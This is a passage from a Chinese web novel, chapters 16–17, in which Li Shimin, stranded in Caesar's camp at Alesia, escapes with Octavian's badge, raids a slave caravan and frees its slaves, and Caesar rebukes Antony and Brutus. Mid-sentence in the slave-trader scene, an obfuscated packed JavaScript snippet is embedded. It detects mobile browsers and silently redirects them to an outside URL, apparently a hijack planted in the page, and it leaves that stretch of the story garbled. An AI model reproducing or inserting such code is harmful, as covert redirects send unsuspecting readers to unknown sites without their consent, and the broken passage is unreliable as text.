第十六章、余震不绝 第十六章、余震不绝 几乎在安东尼下达追捕命令的同一时间,李世民有惊无险地通过了辎重区,信使马厩就在前方。 一个简陋的草棚,拴着七八匹健壮的马匹。正如他所料,只有两名年长的老兵在棚边闲谈,手里拿着干草叉。 刻不容缓。 他拉低盔帽,大步流星,走向马厩。 “嘿,你!”一个老兵抬起头,疑惑地看着这个低头疾行的士兵,“来领马?有手令吗?” 李世民不答话,径直走向一匹最健壮的黑色牡马。他的动作沉稳干练,伸手就去解缰绳。 “站住!问你话呢!”另一个老兵警觉地握紧了干草叉。 就在此刻,李世民抬起右手——这个动作让锁子甲的袖口自然滑落一截。 黄昏的阳光斜射,雄鹿徽章银质鎏金的表面在那一瞬间折射出耀眼的光芒!年轻雄鹿高昂的头颅、上方的橡叶环、背景的罗马城墙——所有细节在强光下清晰得刺眼! 两个老兵同时倒抽一口冷气! 他们或许不知道这徽章属于屋大维,但他们认识这是尤利乌斯-凯撒家族的图腾!在军队中,佩戴这种徽章的人,要么是统帅的血亲,要么是持有特殊使命的密使。 而眼前这个士兵,根本不正眼看他们,对盘问置若罔闻,手腕上却戴着如此尊贵的信物…… 一个可怕的猜想瞬间攫住了他们:这是执行那些不能明说、需要快速隐秘行动的特殊任务的人。问得太多,可能会惹祸上身。 就在他们愣神的半秒钟,李世民已经解开了黑马的缰绳,翻身而上! “等等!你至少要登记——”一个老兵回过神来,试图做最后的挣扎。 李世民居高临下,置若罔闻,左手猛地一扯缰绳,黑马嘶鸣着人立而起!马蹄在空中踏动,惊得两个老兵连连后退。 老兵们僵在原地,从头到尾他们连李世民的正脸都没有看清楚,只留下了大概轮廓的印象。 李世民不再看他们,双腿一夹马腹,黑马如同离弦之箭,冲出马厩,直奔军营南门! 风在耳边呼啸。军营在他两侧飞速倒退。他能感觉到心脏在胸腔里疯狂擂鼓,但握缰的手稳如磐石。 南门就在眼前。 四名守卫站在敞开的营门两侧,正在检查几辆准备离开的奴隶贩子牛车。看到一匹黑马疾驰而来,守卫们立刻警觉地握住了武器。 “停下!出示通行——” 李世民没有减速。 他赌的不是“守卫会听话”,而是: “守卫会在极短时间内,基于有限信息做出风险最小化的本能选择。” 而那个选择就是: ·拦下一个可能有背景的信使 →风险未知,可能得罪大人物。 ·放行一个可疑但或许真有任务的人 →最多被上司责骂。 ·在两秒内,守卫的大脑会选择后者。 他伏低身体,左手控缰,右手举起——不是出示任何文件,而是让手腕徽章完全暴露在守卫的视线中! 城墙纹样!橡叶环!八角星! 徽章在高速运动中模糊了细节,但那象征凯撒家族与至高荣誉的轮廓,在罗马士兵眼中烙印般清晰。 守卫们的声音卡在了喉咙里。 这是……家族徽章?在疾驰的信使手上?他要去执行什么紧急任务?我们该拦吗?拦了会不会触怒…… 仅仅几秒钟的犹豫。黑马如黑色闪电,从四名守卫中间的空隙穿过! 他们手中的四支长矛,有三支没有动,但有一支阻拦了。 不是精准的刺杀,而是仓促之下的本能阻挡。矛杆带着风声,扫向马腹与骑手腰间。 “叮!”一声清脆的金属碰撞声响起,一个泛着银光的东西飞了出去,在空中划过一道短促的弧线,落在几名守卫眼皮底下! 它甚至微微弹跳了一下,才静静躺倒。雄鹿的轮廓、城墙的纹路、八角星的光芒,在尘土中依然清晰可辨,沉默地散发着与周遭粗粝环境格格不入的精致与威严。 时间仿佛凝固了一秒。 所有守卫,包括那名刚刚挥舞长矛的,都愣住了。他们的目光齐刷刷地从即将冲出门口的骑手背影,移到了地上那枚突然出现的、显然价值不菲且意义非凡的物件上。 “那是什么?!” “徽章?从他身上掉下来的!”马蹄踏起尘土,迷了守卫的眼。 “等等——!”一名守卫队长终于反应过来,伸手想要抓住缰绳。 但已经太迟了。 骑马者已经冲出营门,踏上营外那条通往南方的土路。黑色斗篷在风中猎猎作响,但很快就因为距离拉远,变成一个小的、飞扬的黑蝶。 百夫长擦了把脸上的汗和土,盯着那个迅速远去的背影,骂了句脏话。 身后,罗马军营的警号凄厉地划破长空,一声接着一声,越来越急,如同被彻底惊醒的巨兽发出的怒嚎。 --- 日落一小时后,寒意开始渗入铁甲。 日落后约两罗马时,每个人口中开始呼出白气。 火堆旁,两个年轻士兵披着斗篷挤在一起分享烤饼,呵气成雾。 二十步外的固定哨位,老兵一动不动如石雕,斗篷肩部已结薄霜。 一队巡逻兵走过,斗篷下摆随步伐翻卷,露出冷得发青的小腿。 远处安东尼的大帐外,亲卫的红色斗篷在火把光中如凝固的血。 屋大维就是在这个时候被紧急召致安东尼的帐篷。阿格里帕已经提前告知了他李世民逃走的消息,在少年极度震惊的表情下,嘱咐他要一问三不知,以免成为迁怒对象。 但有件事阿格里帕不知道,屋大维隐瞒了交换信物的事。当安东尼拿着那枚雄鹿徽章向他核实时,屋大维如遭雷击,瞬间明白自己被利用了。 恐惧、背叛感、后怕(如果舅舅知道信物是自己给的……)淹没了他,冷得他牙齿开始打颤。阿格里帕警告过的——所有那些关于“被动角色”和“名誉污点”的话——此刻像丧钟一样在耳边轰鸣。 他只能选择撒谎:“我……我可能不小心弄丢了!他一定是偷的!” 这个谎言能勉强保全他,但会在凯撒心中种下怀疑的种子。他险些为一个人付出政治生命和个人前途的代价,才第一次深刻体会到政治世界的险恶和信任的代价。 安东尼心中了然,但没有戳破。他只是缓缓收回手,将那枚徽章放在屋大维面前的矮几上。金属触碰木头发出一声轻响,在死寂的帐篷里清晰得骇人。 “那就收好,少爷。”安东尼的声音里听不出情绪,“下次,别再让这么‘重要’的东西,落到不该拿的人手里。” 帐外传来巡逻队沉重的脚步声,像命运的鼓点。 少年低下头,将额头抵在紧握徽章的拳头上。有什么温热的东西冲出眼眶,但他死死咬住嘴唇,没让它落下。 这一刻起,他再也不是那个会在帐篷里为陌生文字双眼发亮的男孩了。 那个男孩,已经和今晚的谎言一起,死在了阿莱西亚深秋的寒风里。 --- 这不是温柔的凉意,而是带有侵略性的冷: 它从铁甲每一个环扣的缝隙钻入,贴着皮肤爬行。 它让久站士兵的关节僵硬如生锈铰链。 它把呼救声冻成细碎的冰碴。 它让篝火成为比战友更亲密的存在——每个人都面向火焰,后背留给黑暗,而黑暗正一寸寸偷走体温。 当李世民在夜晚,独自穿行在没有罗马篝火的荒野时,他第一次真正理解这片土地的另一面: 白昼,高卢属于罗马的鹰旗。 但夜晚,高卢只属于霜、风和无边的、平等的寒冷。 而那一件他嫌弃的、粗糙的罗马羊毛斗篷,此刻成为比黄金更具体的、关于“生存权”的隐喻——在这个寒夜里,所有文明的外衣都被剥去,他必须思考最原始的命题: 如何活到天明。 逃亡初期是追捕最密集、最焦躁的“黄金24小时”,搜索队像篦子一样梳理附近区域。 “妈的,这鬼天气……”一个老兵把脸埋进羊毛斗篷的领口,呼出的白气瞬间被风吹散,“那东方人要是真跑进林子,不用我们找,明早去捡尸就行。” “少废话,”带队的百夫长啐了一口,“安东尼大人说了,活要见人,死要见尸——重点是‘见’!” 士兵们嘟囔着,深一脚浅一脚地在灌木丛和土坡间搜索。黑暗吞噬了视线,寒冷麻痹了思维,所有人的注意力都集中在脚下——别被树根绊倒,别踩进泥坑,别让火把熄灭。 没有人注意到,队伍里什么时候多了一个人。 李世民低着头,脸上抹了泥土,让兜帽的阴影遮住半张脸孔。他穿着从守卫盖约身上剥下的全套装备:锁子甲、皮带、短剑,甚至那双沾着泥的军靴。斗篷裹得很紧,肩膀微微耸起——和周围所有被冻得发抖的罗马士兵一模一样。 他走得很稳,步伐与队列保持同步。他调整位置,逐渐处于队伍中段,避免被指派为前锋或断后。当队伍抱怨着、搜寻着,他就在身边用含糊的语气一起抱怨。 融入,成为背景的一部分。 这是他在战场上无数次用过的战术——观察敌军阵型的弱点,然后让自己的小队“变成”敌军的一部分,从内部撕开缺口。只是这一次,他要撕开的是整座军营的罗网。 两个时辰过去,一位百夫长来向安东尼汇报情况。 “将军,”他的声音沙哑,嘴唇发紫,“不能再搜了。有几个人差点在丛林里走散,这样的天气可能会出现失温减员。还有两个跌进暗沟,摔断了腿。马匹也受不了,再跑下去会废掉。”? 安东尼坐在火盆旁,脸被跳动的火焰映得明暗不定,像一尊压抑着怒火的雕像。他没有立刻回答。 百夫长吞咽了一口冰冷的唾沫,继续道:“我们仔细搜索了营地周边五里内所有可能藏身的地方,没有发现任何新鲜足迹指向远处。他骑走的马……我们在东南方向的林边找到了。” 安东尼猛地抬起头。 “马还在,鞍具齐全,就拴在一棵树上。”百夫长快速说道,“周围没有挣扎或搏斗的痕迹,也没有第二匹马或车辆的印记。最大的可能,他逃进了那片密林。” 他指向南边那片在夜色中如同巨兽匍匐的黑暗森林。“林子里地形复杂,夜晚根本无法深入搜索。但以现在的温度,他如果生火取暖,烟雾会立刻暴露位置……” 罗马军营位于高处,且有哨塔。在漆黑的高卢荒野中,一点火光在几公里外都清晰可见,更何况是生火取暖所需的持续明火。 “如果他不生火……只需要等到明天天亮,我们组织人手进去,大概就能找到一具冻僵的尸体了。”百夫长的结论带着一种残酷的、基于经验的合理性。 “夜晚的林子,比任何刀剑都致命。他没有食物,没有御寒的衣物,活不过今晚。” 当一支支疲惫不堪、骂骂咧咧的搜捕队伍从不同的方向,像退潮般涌回军营那被火把照得通明的营门时,有一队因严苛检查而滞留到现在的奴隶贩子车队,正想方设法要往外挤。 他们的牛车和货车杂乱地停在一片空地上,周围有罗马士兵看守。 车队的主人,一个肥胖的、裹着昂贵皮毛依然冻得脸色发青的叙利亚人,正对着一名罗马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224101|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军官激动地比划着,唾沫星子在寒冷的空气中迅速凝结。 “大人!我们已经检查了三遍!每一个奴隶,每一口箱子,连车底板都撬开给你们看了!” 他的拉丁语带着浓重的外地口音,“我们是合法的商人!有行省总督的许可文书!耽误我们一天,就是耽误我们几十个第纳尔!这鬼天气,我的货物——我是说,那些‘商品’——都快冻死了!死了就不值钱了!” 他一边说,一边熟练地将一个沉甸甸的小皮袋塞进军官手里,动作隐秘而迅速。“一点小小的补偿,给辛苦的兄弟们喝杯热酒驱驱寒……您看,是不是能通融一下?我们保证,绝对没有藏匿任何不该有的东西!” “行了,”军官把小皮袋揣进兜里,挥挥手,语气不耐烦,“赶紧滚吧。天黑路滑,看好你们的‘货’。” “是是是!感谢大人!诸神保佑您!”奴隶贩子点头哈腰,立刻转身,用刺耳的嗓音吆喝起来,“动起来!都快动起来!蠢货们,想冻死在这里吗?上车!出发!” 队伍开始缓慢地蠕动,车轴发出干涩的吱呀声。看守的士兵让开了道路,他们的注意力更多放在了即将到来的换岗和温暖的营房上。 谁也没有注意到,其中一辆装载着空麻袋和破损陶罐的货车旁,一个模糊的影子借着车体移动和夜幕的掩护,像一片没有重量的落叶,悄无声息地滑进了车厢底部的阴影里。动作快得仿佛只是光影的一次错觉。 马车颠簸着,驶出了火光通明的罗马军营大门,碾上了南去的冰冷坚硬的道路。 “吃粪的秃鹫!自己丢了金丝雀,倒来扒我们的草堆!” “检查一次,要一袋银币,我这趟在高卢边境收‘货’的利润,一半都喂了这些穿铁皮的王八!陶器在车上撞碎了多少?都是钱!” “要我说,指不定是哪个军官自己玩死了奴隶,编个故事糊弄上头!无能!除了在修路和杀人上有点能耐,他们懂什么叫‘管理’?懂什么叫‘商业损失’?” 奴隶贩子一出军营就开始抱怨罗马人的蛮横和无理,抱怨着损失的贿赂和耽误的时间。他的声音在夜风中飘散,成了最好的、最自然的掩护。 李世民不仅逃出了军营,更是以一种近乎羞辱的方式,利用了追捕者的思维定势和疲惫,在他们眼皮底下完成了不可能的转移。 前方,是陌生的、公元前世界无边的荒野与长路。 袁天罡诅咒中那“最遥远、最野蛮、最战乱”的流放之地,此刻才真正在他脚下展开。他即将面对新的生存考验。 一客不烦二主,既然搭上了这辆车,那逃亡需要的货币、地图、保暖衣服、马匹……就让这支队伍一起提供,他在这个世界的第一桶金。 奴隶贩子的车队在离开军营视线,找到勉强可躲避北风的地点后,立即进行了最低限度的扎营。他们生起少数几堆篝火,给护卫和看守,捱过这个寒夜,等待黎明后再视情况决定行程。 奴隶们成片被铁链或粗绳串在一起,用长链拴在树干上,靠紧紧挤在一起,利用彼此的体温取暖,像一群等待屠宰的牲畜。 子夜时分,夜深人静,正是月黑杀人夜,风高放火天! 李世民潜进奴隶贩子帐篷,杀了头目,动作干净利落,没有发出任何声响。接着顺走了几样东西:钱袋(沉甸甸的罗马和第纳尔银币)、一张粗糙但覆盖高卢南部至纳博讷的行商地图、一小包火石与引火物、还有一件质地更细密的加厚斗篷。 他脱下了带着血腥和恶心体味的罗马士兵的衣服,换上一身从商队货箱中找到的墨黑鞣皮猎装,剪裁利落紧束身形,使他整个人看起来像暗夜中的精灵。 然后他放火引发骚乱,先点燃帐篷,吸引守卫过来,再点燃营地边缘的干草和饲料。 火焰在夜风中飞快地蹿升,营地瞬间炸锅。 “着火了——” 护卫们从睡梦中惊醒,手忙脚乱地去取水、扑打火焰。拴着奴隶的锁链在混乱中被踩踏、拉扯。 李世民趁乱来到关押奴隶的地方,用不顺手的罗马短剑杀死了两名留下的看守。 奴隶贩子的武装护卫队发现了他,但逆着火光看不清他的脸,只看见一袭长到小腿的黑色斗篷在转身时倏然拂开——他用一把夺来的短剑砍断了束缚奴隶最粗的铁链。 随即,被囚禁的绝望、连日的屈辱、对寒冷的恐惧,汇成了爆发的洪流。两千多名奴隶:男人、女人、甚至还有孩子,像决堤的洪水般冲垮了剩余的障碍。他们扑向装载食物的货车,扑向看守的护卫,扑向黑暗中任何看似可以抢夺的物资和衣物。 护卫队试图镇压,但面对的是疯狂求生的、数量绝对优势的人群。火光、惨叫、怒骂、哭嚎、碰撞声……所有人冲撞在一起,整个营地一片混乱。 李世民没有停留,他从主帐篷前找到一匹还算健壮的马。没有回头看一眼他点燃的这场风暴,他轻夹马腹,暗栗色的马如离弦之箭般切入营地外围的黑暗。 他知道,追兵明天会来。 但到那时,千百个散入高卢大地的“目击者”和“参与者”,会将这场逃亡变成无数个互相矛盾的传说。而他真正的踪迹,早已被这场人为的洪水彻底抹去。 这是他来到这个世界的第八天夜晚,他被困在罗马军营任人宰割七天有余!深感耻辱! 回顾这七天,他用三个夜晚认识了一位年长的朋友盖乌斯,和他建立了复杂的友谊;又用三个白天骗取了年少的屋大维的信任,他没有伤害屋大维,但给他上了一课。最后一日,他以一连串冷静到残酷的行动,击碎了罗马人看似铁桶的囚笼,挥一挥衣袖,不带走一片云彩,只留下闹得天翻地覆的罗马军营,在焦灼中等待凯撒归来的雷霆之怒。 17. 第十七章、雷霆降临 第十七章、雷霆降临 一、黎明的暴怒 晨雾初散时,阿莱西亚军营的平静被一阵狼狈的喧嚣打破。 几十个满身烟灰、衣衫褴褛的人连滚带爬扑到营门前——他们已在烧焦的营地废墟中捱过后半夜,眼睁睁看着三个重伤的护卫在黎明前断气。 当第一缕天光勉强照亮道路时,幸存的副手终于嘶哑着下令:‘回去……回罗马人那里……我们走不了更远了。’二十里的路,拖着十二个伤员和所剩无几的货物,他们走了整整三个罗马时。 现在,这个失去主人的商队,像一群被拔了牙的野狗,瘫倒在罗马军营的门前…… 安东尼被亲兵从行军床上叫起来时,天边刚泛起鱼肚白。他套上胸甲,连皮带都没系紧就冲进中军大帐前空场——那里已经围了一圈人,火把的光照着一张张惊魂未定的脸。 “……他就像从地里钻出来的幽灵!”一个胳膊上缠着渗血破布的护卫在描述,声音发颤,“先杀了主人,拿了钱和地图,然后放火……火是从三个方向同时烧起来的!我们根本来不及——” 安东尼盯着那个瘫坐在地的胖子,忽然眯起眼睛:“你们的营地起火,火光二十里外都能看见——为什么我的哨塔没有报告?” 奴隶贩子茫然抬头:“大、大人……我们的营地设在橡树林深处的凹地里,四周都是老树……火是很大,但大部分被树冠挡住了……” 安东尼转头看向南侧哨塔的百夫长。后者紧张地吞咽了一下:“将军……昨夜南面天际确实有些泛红,但雾气很重,我们以为是哪个高卢村子在烧荒……最近常有这种事。” “常有?”安东尼的声音危险地压低。 “战后很多高卢人焚烧无法带走的存粮,避免落入我们手中……”百夫长的声音越来越小,“而且……而且哨塔上的一半人手被调去参与追捕了,我们人手不足……” 安东尼闭上眼睛。又是连锁反应——他加强追捕抽调了人手,导致常规警戒出现漏洞。 “废物。”安东尼从牙缝里挤出这个词,不知道在骂谁。 他强迫自己冷静,开始计算时间:袭击发生在子夜前后。现在距离事发已经过去四到五个罗马时。 以一人一马的脚力,在黑夜中,没有向导,不熟悉地形……能跑多远? 安东尼转身,对早已集结待命的骑兵队长下令:“扩大搜索范围到五十里。重点搜索所有向南、向东南的道路。检查每一个路口、每一处浅滩、每一个可能藏身的山洞。” 他顿了顿,补充道:“带上高卢向导。还有——猎犬准备好了没有?” “已经带最好的莫洛瑟犬去了现场,但还没找到清晰的起嗅源。”骑兵队长迟疑道,“将军,那些逃散的奴隶……有上千人,足迹会覆盖掉——” “那就把足迹都踏平!”安东尼暴怒,“我要的是他!不是那些牲口!”? 在安东尼发怒的同一时刻,凯撒在卢瓦尔河支流畔的驿站木屋里,正就着火光审阅边境防务报告。羊皮纸上的拉丁字母在跳跃的光影中微微颤动,如同他这些天来心中那股莫名的不安。 就在这时,木门被猛地推开,带进一股寒夜的风。 “统帅,有紧急信使求见。”亲卫队长雷克斯的声音紧绷如弓弦。 信使几乎是被架进来的,嘴唇干裂,眼窝深陷,但那双年轻的眼睛里燃烧着某种近乎恐惧的急迫。他单膝跪地,双手呈上一卷用蜂蜡密封的莎草纸信筒——封口处压着阿格里帕家族的戒指印痕。 凯撒接过,用匕首挑开蜡封的动作依然平稳,但雷克斯注意到,统帅握匕首的指节微微发白。 莎草纸展开。阿格里帕工整而略显急促的字迹跃入眼帘: “致盖乌斯·尤利乌斯·凯撒,统帅亲启: 事发突然,不及详述。东区特殊囚犯已于昨夜逃脱,手段残忍,两人死亡。现场发现屋大维少爷随身佩戴的雄鹿徽章,疑被用作通行信物。少爷情绪极为不稳,坚称徽章系‘遗失’,然其说辞漏洞百出。 安东尼将军已展开追捕,然军营内外流言四起。此事一旦公开,无论最终被说成是“少爷私授信物”,还是“囚犯蛊惑少爷窃取”,对屋大维少爷的个人名誉和政治前途都将是毁灭性的打击。 事涉家族荣誉与继承人安危,阿格里帕斗胆直谏:请统帅速归。 马尔库斯·维普萨尼乌斯·阿格里帕 于阿莱西亚大营,深夜急就” 信纸在凯撒手中发出极轻微的、几乎无法察觉的颤响。 火盆的光映在他脸上,那张被高卢八年风霜刻出深邃纹路的脸上,此刻没有任何表情。但雷克斯看见,统帅灰蓝色的眼睛里,有什么东西正在凝结——不是怒火,不是震惊,而是一种比北高卢的寒冬更彻骨的冰冷。 --- 午后,阿莱西亚营门处传来急促的马蹄声。 一匹口吐白沫的驿马冲进营地,骑手几乎是从马背上滚下来的。他踉跄着跑到安东尼面前,单膝跪地,从怀中掏出一卷密封的羊皮纸信筒——上面烙着尤利乌斯家族的纹章。 “紧急军情……来自统帅本人……” 安东尼一把夺过,用匕首撬开火漆。羊皮纸展开,上面的字迹是凯撒特有的、凌厉而急促的草书: “致马库斯·安东尼: 已知悉阿莱西亚营区变故。卢瓦尔河战事已交由盖乌斯·费边全权处置。我将率亲卫三十骑,换马不换人,日夜兼程返回。预计今日黄昏前抵达。 在此期间,汝之职责: 一、军营全面戒严,许进不许出。 二、所有参与昨夜追捕、巡逻、看守之相关人员,隔离待审。 三、保护现场,尤其是东侧监区帐篷,保持原状。 四、屋大维及其同伴阿格里帕,禁止离开营区。 五、若已获逃犯踪迹,可继续追捕,但严禁私刑处决——我要活的。 盖乌斯·尤利乌斯·凯撒 于河畔驿站,黎明前” 安东尼的手指收紧,羊皮纸边缘被捏出褶皱。 他知道凯撒在军营里有眼线。这是理所当然的。但…… 让安东尼感到寒意的是:凯撒放弃了卢瓦尔河的战事——那是巩固高卢东部统治的关键一步——不惜马力地赶回来,只为了一个逃跑的俘虏。 这不正常。 这不“凯撒”。 安东尼缓缓抬起头,阳光刺眼,他却觉得有股寒气从脊椎爬上来。 那个人……那个东方人,到底在凯撒心里种下了什么? 二、途中的三封急报 凯撒在第一个换马点接到了卡勒努斯的密报。 这个精明的财务官在信中没有提及屋大维,只以冷静到残酷的数字描述了损失:两名资深看守的抚恤金、东区守卫系统彻底崩溃后需要增加的预算、因大规模追捕而耽误的冬储物资清点进度……但在信的末尾,他写下了一句意味深长的话: “统帅,此人逃脱的方式,与他在阿莱西亚凭空出现的方式一样,超越了常规逻辑。我们或许从未真正‘关住’过他。另:安东尼将军的处置方式,可能加剧了军营内部的不稳定情绪。” 凯撒烧掉了这封信。灰烬在晨风中飘散时,他想起了那个雨夜,帐篷里,那个人用树枝画下的那朵歪扭的云。 “从云上掉下来的。”他当时是这么解释的。 现在看来,那或许不是玩笑。 第二个信使在正午时分撞上了他们。这个人是凯撒安插在安东尼身边的眼线之一,直接对统帅负责。他的报告更简短,也更致命: “安东尼将军在昨夜追捕未果后,言辞间暗示,统帅对‘特殊囚犯’的过度关注是导致此事的根源。部分军官附和。 屋大维少爷整日未出帐篷,阿格里帕守卫在外,拒绝任何人探视。流言版本已增至七种,其中最流行的一种是:‘东方巫师用魅术控制了少爷,窃取徽章,在统帅离开后施法逃脱。’” 凯撒看完,将信纸揉成一团,塞进马鞍旁的口袋。他脸上依然没有表情,但握着缰绳的手,青筋微微突起。 他没有说话,只是狠狠一夹马腹。战马嘶鸣,速度又加快了一分。 下午,距离阿莱西亚还有三十里时,第三个信使带来了安东尼的正式报告。 这份报告公事公办,详细描述了逃犯的作案过程、追捕措施、当前进展,并附上了对看守失职人员的处罚建议。但在报告的最后一节,安东尼写道: “……综上所述,该囚犯极具危险性,且对罗马军队的运作规律有超乎寻常的理解。其逃脱并非偶然,而是一场精心策划的、对我们整个防御体系的嘲弄。 鉴于其可能掌握关于我军部署、后勤乃至指挥结构的敏感信息,建议将其威胁等级升至最高:一旦发现,格杀勿论。活捉的风险太大。” 建议格杀勿论。 凯撒盯着这几个字,看了很久。然后他抬起头,望向南方阿莱西亚方向隐约可见的山峦轮廓。 “格杀勿论?”他低声重复,嘴角扯出一个毫无笑意的弧度, “不,安东尼。你不明白。” “这样的人,死了就太可惜了。” “我要他活着。我要他站在我面前,亲口告诉我,他是怎么做到的。然后……” 他没有说完后半句。但身旁的亲卫感觉到,一股如有实质的寒意,从统帅身上弥漫开来。 ?? 三、黄昏归来? 阿莱西亚军营南门,瞭望塔上的哨兵最先看见那数骑烟尘。 “北面!有人冲过来了——速度很快!” 百夫长抓起铜管望远镜,只看了一眼,脸色就变了:“是统帅!开门!快开门!” 沉重的包铁木门被迅速拉开。凯撒几乎没有减速,十余匹马如狂风般卷入营门,马蹄在夯土地面上踏出深深的印记,溅起的泥点甩了守卫一脸。 “统帅归来——!”传令兵的呼喊声一路炸开。 整个军营像被投入巨石的池塘,瞬间沸腾。士兵们从帐篷里钻出,军官们丢下手头的事务,所有人都涌向主通道,想要亲眼确认那个传闻——统帅真的为了一个逃犯,丢下重要的军事行动赶回来了? 安东尼接到消息时,正在自己的帐篷里对着地图发愣。他冲到帐外,正好看见凯撒勒马停在主帅大帐前。 凯撒的脸上写满疲惫,眼中布满血丝,深红色的帕卢达门图姆也溅上了泥浆。但当他翻身下马,落地站定时,那股属于征服者的、压倒性的威严,依然让周围瞬间寂静。 他的目光扫过围拢的人群,像刀锋刮过皮肤。 “安东尼。布鲁图斯。”凯撒开口,声音因长时间骑马而沙哑,却更添一份粗糙的力量,“到我帐里来。现在。” 没有问候,没有寒暄,甚至没有看一眼那些试图行礼的军官。 他掀开主帅大帐的帘子,走了进去。 安东尼和布鲁图斯对视一眼,后者脸色苍白如纸。两人硬着头皮,跟了进去。 帐帘落下,隔绝了所有窥视的目光。但所有人都竖起了耳朵——尽管他们什么也听不见。? 凯撒走到帐中火盆旁,背对两人,伸手烤火。火光在他深刻的侧脸上跳动,投下长长的阴影。 “马库斯·安东尼。”凯撒忽然开口,声音不高,却每个字都像冰锥,“看着我。” 安东尼抬起眼。 凯撒转过身,灰蓝色的眼睛里没有愤怒,只有一种近乎疲倦的失望——这比任何暴怒都更让安东尼心悸。 “八年前在阿奎莱亚,你带着三个百人队冲垮了伊斯特拉尼人的侧翼,救了整个军团的退路。”凯撒缓缓说,“六年前在萨比斯河,你浑身是血站在尸堆上,对我喊‘我们能赢’。” 他向前一步,逼近安东尼:“四年前在阿瓦利肯,你第一个登上城墙,背上插着三支箭还在挥剑——那时候我以为,我找到了一个永远不会让我失望的兄弟。” 安东尼的下颌绷紧,喉咙发干:“统帅,我——” “现在。”凯撒打断他,声音陡然变冷,“你让一个语言不通、赤手空拳的俘虏,在你的军营里杀了两个人,剥了你士兵的皮,大摇大摆骑走你的马,还用你亲手加强的看守级别当作笑话讲给全高卢听。” 每个字都像耳光,抽在安东尼脸上。 来自罗马最顶级雄辩家的语言处刑,安东尼招架不住,布鲁图斯瑟瑟发抖。 “你加强了看守?”凯撒的嘴角勾起一丝没有弧度的笑,“多严密?双岗?三岗?然后他当着那些‘严密看守’的面,换装,出门,穿过半个军营,走到马厩,挑了一匹最好的马——而你的人在干什么?在猜他是不是去解手?” “我以为——”安东尼的声音卡在喉咙里。 “你以为。”凯撒重复这三个字,声音轻得像叹息,“你以为削减他的食物会让他屈服?你以为把他关得更严就能抹掉我的兴趣?马库斯,你什么时候开始替我思考了?” 安东尼的脸涨红,手指深深掐进掌心。 “我来告诉你,你真正做了什么。”凯撒的声音陡然凌厉,“你激怒了一头本可以驯服的狮子!你让他确信,留在罗马军营只有耻辱和死亡——所以你逼他用最擅长的方式反击!战争!突袭!屠杀!” 凯撒抓起桌上一个陶杯,狠狠砸在安东尼脚边! 碎片四溅。 安东尼浑身僵硬,像一尊正在崩裂的石像。耻辱、愤怒、还有一丝连自己都不愿承认的恐惧,在胸腔里翻滚。 “至于你,德基穆斯·布鲁图斯。”凯撒转向一直僵立在旁的年轻人,声音稍微缓和,却更冷,“我让你看守的是一份可能改变罗马命运的礼物。而你,给我看丢了一只耗子。” 布鲁图斯脸色惨白,嘴唇蠕动,却发不出声音。 “你知道我在卢瓦尔河边收到密报时,在想什么吗?”凯撒走近,俯视着比他矮一头的年轻人,“我在想——布鲁图斯家族那个以严谨著称的家训,是不是到你这一代就断了?” 这句话比任何鞭刑都狠。布鲁图斯的身体晃了晃。 “你的士兵在岗位上打瞌睡。”凯撒继续说,每个字都像钉子在敲,“你的巡逻队把少了一个人当成‘解手’。你的南门守卫看到家族徽章就腿软——而你,我亲自指派的看守长官,直到人跑了多久才接到报告?” “统帅,我愿接受任何惩——” “惩处?”凯撒嗤笑,“惩处你能把我的俘虏带回来吗?能把罗马失去的颜面补上吗?能让那些正在嘲笑我们的人闭上嘴吗?” 他转身,走回火盆边,背影在火光中显得异常疲惫。 “你们知道我为什么赶回来?”凯撒低声说,像是自言自语,“不是因为丢了俘虏。是因为他逃走的方式——他让我们所有人看起来像一群穿着铁皮的傻瓜。” 他转过身,眼神重新变得锐利: “现在,那个让我们变成傻瓜的人,正在高卢的某个地方,嘲笑我们的无能。而元老院的使者,可能已经在路上,准备用这件事把‘凯撒被东方男巫玩弄’的故事,唱遍罗马每一个澡堂和酒馆。” 安东尼猛地抬头:“统帅,给我十天!我一定把他抓回来——” “你?”凯撒打断他,眼神里第一次闪过真实的失望,“马库斯,你还没明白吗?你已经输了。从你用愚蠢的惩罚激怒他的那一刻起,你就输了。” 他走到安东尼面前,两人几乎鼻尖相对: “现在,听清楚。我不会撤你的职,不会罚你鞭刑,甚至不会在公开场合斥责你——因为罗马需要团结,因为元老院在等着我们内乱。” “但你要记住,”凯撒的声音降到冰点,“从今天起,你欠我一条命。不是战场上的救命之恩,而是政治生命——你让我的敌人拿到了最锋利的刀。” 他退后一步,目光扫过两人: “所以,你们要做的,不是‘将功补过’。你们要用十倍、百倍的努力,去弥补一个可能永远无法弥补的错误。去追,去搜,去把他带回来——在我亲自出手之前。”? “另外,”凯撒继续说,语气不容置疑,“关于屋大维徽章的所有流言,从此刻起,禁止传播。你就说,徽章是统帅本人授予逃犯的临时信物,用以测试军营警戒水平——结果证明,我们的警戒形同虚设。把所有责任,揽到我自己头上。” 安东尼震惊:“统帅,这会让您——” “——会让我的威望受损?也许。”凯撒转过身,望向帐壁上悬挂的高卢地图,“但比起让屋大维的政治生命在十四岁就宣告终结,这点代价,我付得起。” 他沉默片刻,低声补充:“况且,这也不完全是谎言。我的确……给了他太多的特殊关注。这是我的失误。现在,该由我来纠正。” 安东尼看着统帅的背影,忽然意识到:凯撒的愤怒,或许并不全是针对逃犯或他们的失职。 有一部分,是针对他自己的。 针对那个在雨夜走进帐篷的盖乌斯,针对那个被好奇心蒙蔽了判断力的统帅,针对那个以为可以同时掌控政治、战争和一个神秘灵魂,却最终被狠狠上了一课的“聪明人”。 “去吧,”凯撒没有回头,“执行命令。然后,我要见屋大维。” 凯撒最后看了安东尼一眼,那眼神复杂得令人心寒——有失望,有不甘,还有一丝安东尼从未见过的、近乎痛楚的东西。 “记住这份耻辱,马库斯。”凯撒低声说,“记住是谁把它烙在你脸上。然后,把它变成火,烧向该烧的人。” 安东尼走回自己副帐的时候,浑身冰冷。 